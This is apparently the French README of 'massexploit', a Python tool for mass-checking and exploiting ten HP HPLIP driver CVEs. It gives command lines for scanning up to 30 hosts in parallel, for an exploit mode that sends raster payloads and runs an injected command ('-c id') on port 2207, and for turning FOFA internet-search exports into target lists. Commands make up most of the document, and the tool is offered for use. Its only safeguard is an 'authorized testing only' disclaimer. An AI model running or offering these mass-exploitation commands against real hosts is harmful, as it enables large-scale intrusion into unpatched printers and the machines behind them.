massexploit — Vérificateur massif de CVE HP HPLIP (2026-09)
Vérification massive et exploit de recherche pour le pilote HP HPLIP < 3.26.6 — CVE-2026-91097 à CVE-2026-91106.
| CVE | CVSS 4 | CWE | Distant |
|---|
| CVE-2026-91097 | 7.0 | CWE-787 | oui (UI) |
| CVE-2026-91098 | 8.6 | CWE-122 | oui (UI) |
| CVE-2026-91099 | 5.1 | CWE-61 | local |
| CVE-2026-91100 | 6.8 | CWE-78 | local |
| CVE-2026-91102 | 8.4 | CWE-78 | local |
| CVE-2026-91101 | 5.1 | CWE-129 | physique |
| CVE-2026-91103 | 5.1 | CWE-191 | physique |
| CVE-2026-91104 | 9.3 | CWE-122 | oui |
| CVE-2026-91105 | 8.6 | CWE-122 | oui (UI) |
| CVE-2026-91106 | 9.3 | CWE-122 | oui |
Corrigé : HPLIP 3.26.6+
Résumé
Les résultats FOFA body="hplip" correspondent souvent à :8000 PAPPL, pas à :2207. Utilisez host:port dans les listes de cibles.
Capture d'écran (vérification massive --flow)
Prérequis
- Python 3.9+
pip install -r requirements.txt
Utilisation
pip install -r requirements.txt
# Single target (default ports 631, 2207, 9100 if no port given)
python poc.py -u 192.0.2.10 --mode check
# FOFA port (recommended)
python poc.py -u 192.0.2.10:8000 --mode check --flow
# Mass — all 10 CVEs
python poc.py --list targets.example.txt --mode check -j 30 -q --flow
# Critical network heap CVEs only
python poc.py --list list_hplip_printer.txt --mode check --cve CVE-2026-91104,CVE-2026-91106
# Exploit research (PAPPL on :8000 → IPP raster; -c id only meaningful on hpssd:2207)
python poc.py -u 192.0.2.10:8000 --mode exploit --cve CVE-2026-91106
python poc.py -u 192.0.2.10:2207 --mode exploit --cve CVE-2026-91100 -c id
FOFA → liste de cibles
# Save export as fofa_csv_1049.csv (or pass -i)
python fofa_to_list.py
# list.txt (all) + list_hplip_printer.txt (title hint = HPLIP Printer Application)
python poc.py --list list_hplip_printer.txt --mode check -j 30 --flow
192.0.2.10:8000
192.0.2.11:2207
192.0.2.12|CVE-2026-91106
Les lignes avec |CVE… utilisent la partie avant | comme hôte (indice CVE optionnel pour la sortie des résultats).
CLI
Sortie
| Fichier | Contenu |
|---|
massexploit_results.jsonl | JSON complet par hôte |
hits.txt | Candidats (host|cve,…) |
Valeurs status courantes en vérification
| Statut | Signification |
|---|
hplip_surface_candidate | Port ouvert + correspondance version/CVE |
|
Attentes d'exploitation
| Statut | Signification |
|---|
pappl_raster_sent_no_shell_output | IPP/raster envoyé sur le port PAPPL ; pas de en HTTP (classe RCE heap) |
Arborescence du dépôt
.
├── poc.py
├── cve_catalog.py
├── hplip_probes.py
├── hplip_exploit.py
├── pappl_ipp.py
├── pappl_raster.py
├── fofa_to_list.py
├── image.png
├── targets.example.txt
├── requirements.txt
├── README.md
├── LICENSE
└── .gitignore
Limitations
- Ce n'est pas un scanner web générique — surfaces impression / HPLIP TCP+HTTP.
- Pas de RCE armé public pour 91104/91106 sur PAPPL ; le chemin raster est une recherche alignée sur ZDI-26-656.
- CVE physiques/locales listées pour
--cve all mais non exploitables à distance à grande échelle.
- Tests autorisés uniquement.
Références
Légal
Pour des tests de sécurité autorisés uniquement. Vous êtes responsable du respect des lois applicables et des règles du programme.
